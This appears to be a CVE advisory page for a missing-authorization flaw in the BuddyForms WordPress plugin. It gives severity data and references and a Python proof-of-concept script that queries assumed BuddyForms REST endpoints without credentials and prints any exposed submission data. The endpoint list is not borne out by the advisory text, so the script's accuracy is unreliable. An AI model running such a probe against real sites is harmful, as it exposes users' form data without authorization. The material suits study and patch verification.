CVE-2025-62973

Description

Missing Authorization vulnerability in Themekraft BuddyForms buddyforms allows Accessing Functionality Not Properly Constrained by ACLs.This issue affects BuddyForms: from n/a through <= 2.9.0.

CVSS Details

CVSS Score

5.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:themekraft:buddyforms:*:*:*:*:*:wordpress:*:* - VULNERABLE

BuddyForms <= 2.9.0 (所有版本)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# CVE-2025-62973 PoC - BuddyForms Missing Authorization
# This PoC demonstrates accessing protected functionality without proper authorization

import requests
import sys

TARGET_URL = "https://example.com/wp-json/buddyforms/v2/"
VULNERABLE_ENDPOINTS = [
    "submissions",
    "forms",
    "entries",
    "submissions/all",
    "form/{id}/submissions"
]

def check_vulnerability():
    """Check if the target is vulnerable to CVE-2025-62973"""
    print(f"[*] Testing target: {TARGET_URL}")
    print(f"[*] CVE-2025-62973: BuddyForms Missing Authorization\n")
    
    # Test without authentication
    headers = {
        "Content-Type": "application/json",
        "User-Agent": "Mozilla/5.0 (CVE-2025-62973-PoC)"
    }
    
    for endpoint in VULNERABLE_ENDPOINTS:
        url = f"{TARGET_URL}{endpoint}"
        try:
            response = requests.get(url, headers=headers, timeout=10, verify=False)
            print(f"[+] Endpoint: {endpoint}")
            print(f"    Status: {response.status_code}")
            if response.status_code == 200:
                print(f"    [!] VULNERABLE - Data accessible without auth")
                print(f"    Response preview: {response.text[:200]}...")
            elif response.status_code == 401 or response.status_code == 403:
                print(f"    [+] Protected - Proper authorization in place")
            else:
                print(f"    [-] Unknown status")
        except requests.RequestException as e:
            print(f"[-] Error testing {endpoint}: {e}")

if __name__ == "__main__":
    check_vulnerability()

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-62973
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-62973
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-62973/
[4] VulDB https://vuldb.com/cve/CVE-2025-62973
[5] https://patchstack.com/database/Wordpress/Plugin/buddyforms/vulnerability/wordpress-buddyforms-plugin-2-9-0-broken-access-control-vulnerability?_s_id=cve

Raw JSON Data

JSON

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